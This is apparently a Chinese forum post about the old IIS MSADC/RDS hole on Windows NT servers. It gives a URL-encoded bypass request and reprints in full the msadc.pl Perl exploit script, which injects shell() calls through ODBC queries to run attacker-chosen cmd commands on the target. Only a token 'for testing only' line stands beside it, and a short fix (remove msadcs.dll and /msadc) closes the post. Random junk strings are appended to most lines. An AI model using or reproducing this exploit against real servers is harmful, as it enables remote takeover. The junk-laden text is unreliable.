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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ZEXj|wC  
~_/<PIm  
涉及程序: BXKlO(7  
Microsoft NT server D]LFX/hlH  
o|Yn(xu-  
描述: E.WNykF-  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 \ (3Qqbw  
u(TgWp5WF  
详细: 0%q{UW2  
如果你没有时间读详细内容的话,就删除: )l 4>=y  
c:\Program Files\Common Files\System\Msadc\msadcs.dll mfp`Iy"}+  
有关的安全问题就没有了。 dvrvpDoE.  
5Xq.=/eX  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 75^)Ni  
w|K(>5nz  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 troy^H  
关于利用ODBC远程漏洞的描述,请参看: >qh>Qm8w  
Dn{19V. L  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm TA-(_jm  
:_I wc=  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 a{%52B"  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp &)fhlp5  
d=c1WK  
这里不再论述。 P_^ |KEz  
/S2p``E+  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: m;$F@JJ  
k=d%.kg  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset K2cpf  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! |P[D2R}  
gpO_0U4lQ]  
,_TH@0{   
#将下面这段保存为txt文件,然后: "perl -x 文件名" +Y>cBSO  
NXV~[  
#!perl Sx4UaV~"  
# k7Be'E BKG  
# MSADC/RDS 'usage' (aka exploit) script It!.*wp  
# *BP\6"X  
# by rain.forest.puppy 1z $}*`  
# z wniS6R1  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me k8t Na@H  
# beta test and find errors! jmZ|b6  
`*2*xDuP  
use Socket; use Getopt::Std; sWpRX2{5,  
getopts("e:vd:h:XR", \%args); nw]e_sm  
D^T7pO  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; BSq;R G(  
L2V $%*6  
if (!defined $args{h} && !defined $args{R}) { aLyhxmn ^)  
print qq~ (Db*.kd8,  
Usage: msadc.pl -h <host> { -d <delay> -X -v } VUg~[  
-h <host> = host you want to scan (ip or domain) (<:rKp  
-d <seconds> = delay between calls, default 1 second !_/8!95  
-X = dump Index Server path table, if available y1jGf83  
-v = verbose A$9_aqbj  
-e = external dictionary file for step 5 Xj@    
1rvf\[  
Or a -R will resume a command session Q e2 /4j4  
*t]&b ;=gE  
~; exit;} C\hZ;Z1  
k0Vo  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; vSHIl"h  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} "n2xn%t{  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} zdpLAr  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 0o^#Fmuz  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 6jy n,GU  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } g`f6gxc  
/w0v5X7  
if (!defined $args{R}){ $ret = &has_msadc; {1-CfQ0 8  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} =QxE-)v  
:R_#'i  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" +ouy]b0`t  
. "cmd /c "; >i#_)th"U!  
$in=<STDIN>; chomp $in; '%|20 j  
$command="cmd /c " . $in ; KohQ6q  
5yN8%_)T  
if (defined $args{R}) {&load; exit;} bZ@53  
Xy(SzJ %  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; X7B)jH%N  
&try_btcustmr;  pmpn^ZR  
s R0e&Y  
print "\nStep 2: Trying to make our own DSN..."; \ ]e w@C  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; /j5- "<;.  
; hRpAN  
print "\nStep 3: Trying known DSNs..."; owS@dbO  
&known_dsn; d_?Zr`:  
}rAN2D]"}  
print "\nStep 4: Trying known .mdbs..."; 3~1lVU:  
&known_mdb; Z?j='/u>@  
p/^\(/\])  
if (defined $args{e}){ a^)4q\E  
print "\nStep 5: Trying dictionary of DSN names..."; @xM!:  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } x) qHeS  
\5pAG mgD  
print "Sorry Charley...maybe next time?\n"; %dWFg<< |  
exit; ~9>[U%D  
;g)Fhdy!  
############################################################################## ~[/c'3+4qn  
=K< I)2   
sub sendraw { # ripped and modded from whisker W/F4wEODY  
sleep($delay); # it's a DoS on the server! At least on mine... c+K=pp@  
my ($pstr)=@_; uJ5%JB("E  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || UFY~D"% /  
die("Socket problems\n"); ZK_@.O+]  
if(connect(S,pack "SnA4x8",2,80,$target)){ ~esEql=Q3'  
select(S); $|=1; aD3F!Sn  
print $pstr; my @in=<S>; v]Q_  
select(STDOUT); close(S); DP'Dg /D  
return @in; r D!.N   
} else { die("Can't connect...\n"); }} */dsMa  
`]I5WTt*X  
##############################################################################  3usA  
CR PE?CRQF  
sub make_header { # make the HTTP request :W<,iqSCm  
my $msadc=<<EOT WHj4#v(  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 WuQ<AS=   
User-Agent: ACTIVEDATA #1hz=~YO  
Host: $ip H?bs K~  
Content-Length: $clen v+_Y72h*a  
Connection: Keep-Alive 'pls]I]  
Y\9*e5?`I3  
ADCClientVersion:01.06 TdOWdPvYj  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 $=QO_t)?  
F^bQ-  
--!ADM!ROX!YOUR!WORLD! xgw)`>p,W  
Content-Type: application/x-varg 7D_kkhN  
Content-Length: $reqlen &"6ktKrIg  
?g#t3j>zoF  
EOT 3&Zx*:  
; $msadc=~s/\n/\r\n/g; ex!w Y  
return $msadc;} Gy7x?  
adPU)k_j:  
############################################################################## Lj* =*V  
cb&In<q  
sub make_req { # make the RDS request teNQUIe-  
my ($switch, $p1, $p2)=@_; bRe*(  
my $req=""; my $t1, $t2, $query, $dsn; S aq>o.  
Dj&bHC5%  
if ($switch==1){ # this is the btcustmr.mdb query ?-&D'  
$query="Select * from Customers where City=" . make_shell(); c5+lm}R?  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . r!gCh`PiK  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} <>/MKMq!  
dC|#l?P  
elsif ($switch==2){ # this is general make table query #$rT 4N c;  
$query="create table AZZ (B int, C varchar(10))"; fU7:3"|s8  
$dsn="$p1";} wgP3&4cSUc  
6i=wAkn_J  
elsif ($switch==3){ # this is general exploit table query 2*DS_=6o  
$query="select * from AZZ where C=" . make_shell(); V~"d`j  
$dsn="$p1";} G9":z|  
>}(*s^!k  
elsif ($switch==4){ # attempt to hork file info from index server ewPdhCK  
$query="select path from scope()"; Bo(l!G  
$dsn="Provider=MSIDXS;";} BU{ V,|10a  
.wn_e=lT  
elsif ($switch==5){ # bad query .-6s`C2 Y}  
$query="select"; ,$ret@.H  
$dsn="$p1";} $ttr_4=  
2j BE+k"M  
$t1= make_unicode($query); b'"%   
$t2= make_unicode($dsn); ;pK"N:|  
$req = "\x02\x00\x03\x00"; -2Cf)>`v  
$req.= "\x08\x00" . pack ("S1", length($t1)); w/D m  
$req.= "\x00\x00" . $t1 ; K T72D  
$req.= "\x08\x00" . pack ("S1", length($t2)); 5kZ yiC*  
$req.= "\x00\x00" . $t2 ; 84\o7@$#  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; `mTxtuid{  
return $req;} `l#$l3v+  
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############################################################################## ,/U 9v~  
6U3@-+lF  
sub make_shell { # this makes the shell() statement 8=AKOOU7>  
return "'|shell(\"$command\")|'";} HCy}'}d  
)cBV; E<  
############################################################################## ~}ZX^l&k{P  
1h0ohW  
sub make_unicode { # quick little function to convert to unicode Ybg`Z  
my ($in)=@_; my $out; = +\oL!^  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } KTJ $#1q  
return $out;} (pNng"/  
V]cY+4Y  
############################################################################## +Z0E?,Oz  
~m&oa@*=y  
sub rdo_success { # checks for RDO return success (this is kludge) @(?d0xCg  
my (@in) = @_; my $base=content_start(@in); B\w`)c  
if($in[$base]=~/multipart\/mixed/){ Ot<!YM  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} LA0x6E+I  
return 0;} @= 9y5r  
f#MN-1[67  
############################################################################## /YR $#&N2  
/aEQ3x  
sub make_dsn { # this makes a DSN for us 0~+:~$VrT  
my @drives=("c","d","e","f"); tC~itU=V  
print "\nMaking DSN: "; 0R%58,R  
foreach $drive (@drives) { t!C-G+It  
print "$drive: "; F+r6/e6a  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . [=!MS?-G  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Ik)Q0_<a  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); "& |2IA  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; :HQ/vVw'"9  
return 0 if $2 eq "404"; # not found/doesn't exist |{"7/~*[  
if($2 eq "200") { !A0bbJ  
foreach $line (@results) { ~`f B\7M  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} h:90K  
} return 0;} :AGQkJb  
Im#$iPIvT  
############################################################################## ir?9{t/()  
Ip-jqN J~  
sub verify_exists { }H.vH  
my ($page)=@_; <3CrCEPC  
my @results=sendraw("GET $page HTTP/1.0\n\n"); w;_=$L'H&G  
return $results[0];} |sAg@kM  
  {`  
############################################################################## P dnK@a  
8~>3&jX  
sub try_btcustmr { e /Y+S;a  
my @drives=("c","d","e","f"); @ U|u _S@  
my @dirs=("winnt","winnt35","winnt351","win","windows"); PS1~6f"D  
Yw `VL)v(y  
foreach $dir (@dirs) { Rw% KEUDm  
print "$dir -> "; # fun status so you can see progress z<*]h^ !3  
foreach $drive (@drives) { Ca|;8ggf  
print "$drive: "; # ditto "TI? qoz  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; tBQ> p.  
$reqlenlen=length( "$reqlen" ); A/aQpEb%  
$clen= 206 + $reqlenlen + $reqlen; gQwmYe  
X2Mj|_#u  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); qo|iw+0Y  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} v_ h{_b8  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} @I:&ozy }=  
}hxYsI"d  
############################################################################## `-m7CT sA  
2Mp;/b!  
sub odbc_error { =G6@:h=  
my (@in)=@_; my $base; |7'W)s5.  
my $base = content_start(@in); M$9h)3(B  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this y0]O 6.{  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; r>o6}Mx$  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Vo[4\h#$  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 2T5ZbXc+x  
return $in[$base+4].$in[$base+5].$in[$base+6];} *ni|I@8  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; k=}hY+/=  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . KG@hjO  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} uI/ A_  
LLiX%XOh  
############################################################################## Yw0@O1Cel  
M`'2 a  
sub verbose { !hUyX}{`j  
my ($in)=@_; )-gyDA  
return if !$verbose; V-0Y~T  
print STDOUT "\n$in\n";} va<pHSX&I@  
?Fu.,srt  
############################################################################## 5N0H^  
g> f394j  
sub save { 8pk">"#s  
my ($p1, $p2, $p3, $p4)=@_; ;p8xL)mUP  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; \&0NH=*^  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; >{Djx  
close OUT;} >E3OYa?G  
Sb.;$Be5g  
############################################################################## VXp X#O  
*d 4D9(  
sub load { +,,~ <Vm  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; bql6Z1l  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); {;r5]wimb  
@p=<IN>; close(IN); C 4,W[L]4"  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); =9-c*bL  
$target= inet_aton($ip) || die("inet_aton problems"); Zlhr0itf  
print "Resuming to $ip ..."; aoN[mV '  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; l]gf T&  
if($p[1]==1) { gqd#rjtfz  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 4j5plm=  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; {1[8,Ho  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); %O k.XBS)  
if (rdo_success(@results)){print "Success!\n";} %0QYkHdFR`  
else { print "failed\n"; verbose(odbc_error(@results));}} " PPwJ/L(  
elsif ($p[1]==3){ 2cL<`  
if(run_query("$p[3]")){ \Uiw: ,  
print "Success!\n";} else { print "failed\n"; }} Yhfk{CI  
elsif ($p[1]==4){ t"Rn#V\c."  
if(run_query($drvst . "$p[3]")){ (#~063N,#  
print "Success!\n"; } else { print "failed\n"; }} %"D-1&%zY  
exit;} K9c:K/H  
eo !{rs@f  
############################################################################## umk[\}Ip+P  
PYGHN T  
sub create_table { MeC@+@C  
my ($in)=@_; ~7|z2L  
$reqlen=length( make_req(2,$in,"") ) - 28; &LE/hA  
$reqlenlen=length( "$reqlen" ); wbTw\b=  
$clen= 206 + $reqlenlen + $reqlen; 7o3f5"z  
my @results=sendraw(make_header() . make_req(2,$in,"")); *"wsMO  
return 1 if rdo_success(@results); Nsb13mlY  
my $temp= odbc_error(@results); verbose($temp); J c*A\-qC.  
return 1 if $temp=~/Table 'AZZ' already exists/; '0+-Hit?  
return 0;} t$b`Am  
;IyQqP#,<  
############################################################################## q-'zZ#  
8l6R.l  
sub known_dsn { j1)w1WY0@  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go :7gIm|2"]  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", @L0.Z1 ).  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", sqhM[u k  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ^+88z>  
$P$OWp?b  
foreach $dSn (@dsns) { B4%W,F:@  
print "."; h8Gp>b  
next if (!is_access("DSN=$dSn")); "\30YO>\  
if(create_table("DSN=$dSn")){ *5^h>Vk/  
print "$dSn successful\n"; :0/I2:  
if(run_query("DSN=$dSn")){ ;TYkJH"  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ~~&M&Fe  
print "Something's borked. Use verbose next time\n";}}} print "\n";} k 2~j:&p  
-O\`G<s%  
############################################################################## c(:GsoO  
u7K0m! jW  
sub is_access { 1:?Wv DN=  
my ($in)=@_; ebf0;1!  
$reqlen=length( make_req(5,$in,"") ) - 28; qbjRw!2?w  
$reqlenlen=length( "$reqlen" ); C 7v 8  
$clen= 206 + $reqlenlen + $reqlen; : 7'anj  
my @results=sendraw(make_header() . make_req(5,$in,"")); }0:=)e  
my $temp= odbc_error(@results); !^w+<p  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); xGjEEBL  
return 0;} [dL#0~CL$  
MOXDR  
############################################################################## 2!A/]:[F  
d:3G4g  
sub run_query { ."${.BPn~  
my ($in)=@_; >354O6  
$reqlen=length( make_req(3,$in,"") ) - 28; ZDlMkHJ  
$reqlenlen=length( "$reqlen" ); m6s32??m  
$clen= 206 + $reqlenlen + $reqlen;  V}&  
my @results=sendraw(make_header() . make_req(3,$in,"")); _15r!RZ:1  
return 1 if rdo_success(@results); :2La,  
my $temp= odbc_error(@results); verbose($temp); I_Q'+d  
return 0;} Jf 2  
6 LC*X  
############################################################################## I%|W O*x  
US-P>yF  
sub known_mdb { $%LjIeVA5  
my @drives=("c","d","e","f","g"); X=lOwPvP  
my @dirs=("winnt","winnt35","winnt351","win","windows"); J*.qiUAgW  
my $dir, $drive, $mdb; mhL,:UE  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; k@^)>J^  
LbnR=B!  
# this is sparse, because I don't know of many {$b]K-B  
my @sysmdbs=( "\\catroot\\icatalog.mdb", e(sQgtM6  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", %A04'dj`zQ  
"\\system32\\certmdb.mdb", .-{B  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% w _n)*he)z  
2%QY~Ku~  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", J?HYN%  
"\\cfusion\\cfapps\\forums\\forums_.mdb", }{s<!b  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", : -OHD#>%  
"\\cfusion\\cfapps\\security\\realm_.mdb", bEbnZ<kz*  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", m3,i{  
"\\cfusion\\database\\cfexamples.mdb", t68h$u  
"\\cfusion\\database\\cfsnippets.mdb", _&P![o)x  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", b2hB'!m  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", -3A#a_fu  
"\\cfusion\\brighttiger\\database\\cleam.mdb", U)2\=%8  
"\\cfusion\\database\\smpolicy.mdb", M '[.ay  
"\\cfusion\\database\cypress.mdb", lf&g *%?1  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", S Bs_rhe  
"\\website\\cgi-win\\dbsample.mdb", '~2;WF0h  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", k? X7h2  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" zgV{S Qo  
); #these are just U\P ;,o  
foreach $drive (@drives) { A~u-Iv(U  
foreach $dir (@dirs){ iphe0QE[#}  
foreach $mdb (@sysmdbs) { x,pzX(  
print "."; a8''t_Dp  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ vk&C'&uV9@  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; IZ "d s=w  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ vn7<>k> dx  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; >O?5mfMK  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ex1bjM7  
|\J8:b> }  
foreach $drive (@drives) { w`q):yXX  
foreach $mdb (@mdbs) { wjDLsf,  
print "."; d H]'&&M  
if(create_table($drv . $drive . $dir . $mdb)){ m z) O  
print "\n" . $drive . $dir . $mdb . " successful\n"; D3N\$D  
if(run_query($drv . $drive . $dir . $mdb)){ 6Dwj^e0  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; _Uc le  
} else { print "Something's borked. Use verbose next time\n"; }}}} Srg `Tt]  
} x xWnB  
a2/!~X9F  
############################################################################## g^/  
s${ew.eW  
sub hork_idx { s0WI93+z  
print "\nAttempting to dump Index Server tables...\n"; %Sf%XNtu  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; lOYzo  
$reqlen=length( make_req(4,"","") ) - 28; 1*,f  
$reqlenlen=length( "$reqlen" ); n]jZ2{g+   
$clen= 206 + $reqlenlen + $reqlen; >d%;+2  
my @results=sendraw2(make_header() . make_req(4,"","")); \hoYQK j  
if (rdo_success(@results)){ ;b-Y$<  
my $max=@results; my $c; my %d; ^^1rjh1I  
for($c=19; $c<$max; $c++){ Q E1DTU  
$results[$c]=~s/\x00//g; # **vIwX-Q  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 3!ZndW SHV  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; A@^Y2:pY  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; d#'aTmu!  
$d{"$1$2"}="";} -AWL :<  
foreach $c (keys %d){ print "$c\n"; } i{vM NI{  
} else {print "Index server doesn't seem to be installed.\n"; }} eTw sh]  
v47Y7s:uQ  
############################################################################## B_$hi=?TTd  
~RgO9p(dY  
sub dsn_dict { UsP1bh4  
open(IN, "<$args{e}") || die("Can't open external dictionary\n");  E|P  
while(<IN>){ !lpKZG  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; bxLeQWr6  
next if (!is_access("DSN=$dSn")); )2~Iqzc4  
if(create_table("DSN=$dSn")){ Ev+m+  
print "$dSn successful\n"; !Nua  
if(run_query("DSN=$dSn")){ KeFEUHU  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 9x$Kb7'F  
print "Something's borked. Use verbose next time\n";}}} ziPE(B  
print "\n"; close(IN);} J0K25w  
v0v%+F#>@  
############################################################################## H=,0p  
w_4/::K*  
sub sendraw2 { # ripped and modded from whisker g:V8"'  
sleep($delay); # it's a DoS on the server! At least on mine... jzt$  
my ($pstr)=@_; aAJ'0xnj  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || JO{Rth  
die("Socket problems\n"); WCJ$S\#  
if(connect(S,pack "SnA4x8",2,80,$target)){ QU{|S.\  
print "Connected. Getting data"; K)=<hL  
open(OUT,">raw.out"); my @in; M*6}#ST  
select(S); $|=1; print $pstr; ;iEr+  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} "-bsWC  
close(OUT); select(STDOUT); close(S); return @in; KVQ|l,E, /  
} else { die("Can't connect...\n"); }} W{'RR.  
!} ~K'1"  
############################################################################## [ed6n@/O@  
%+0 7>/  
sub content_start { # this will take in the server headers 9 8O0M#|d  
my (@in)=@_; my $c; &b~if}vcb  
for ($c=1;$c<500;$c++) { x"7`,W  
if($in[$c] =~/^\x0d\x0a/){ JWzN 'a R  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ] /w: 5o#  
else { return $c+1; }}} w=Cq v~  
return -1;} # it should never get here actually vK@t=d  
E3%:7MB  
############################################################################## Bg3`w__l;  
! 3&_#VO  
sub funky { afE`GG-  
my (@in)=@_; my $error=odbc_error(@in); >Z-f</v03  
if($error=~/ADO could not find the specified provider/){ p)'.swpJ  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; J)yNp,V  
exit;} ii,/omn:  
if($error=~/A Handler is required/){ (?[^##03MN  
print "\nServer has custom handler filters (they most likely are patched)\n"; E6 glR  
exit;} -`knSR  
if($error=~/specified Handler has denied Access/){ `GGACH3#s  
print "\nServer has custom handler filters (they most likely are patched)\n"; k(As^'>  
exit;}} 1"7Rs}l7  
e&*< "WN  
############################################################################## |^ K"#K  
q4Z9;^S  
sub has_msadc { e;_ cC7  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); C B&$tDi  
my $base=content_start(@results); e[`u:  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Qqju6}+  
return 0;} P01o:/}  
{-FS+D`  
######################## kWkAfzf4a  
-^a?]`3_v  
D`|.%  
解决方案: #A&(b}#:o  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll Nw 74T  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 1a|Z!Vzi  
l,(Mm,3  
拿出来充数 哈哈
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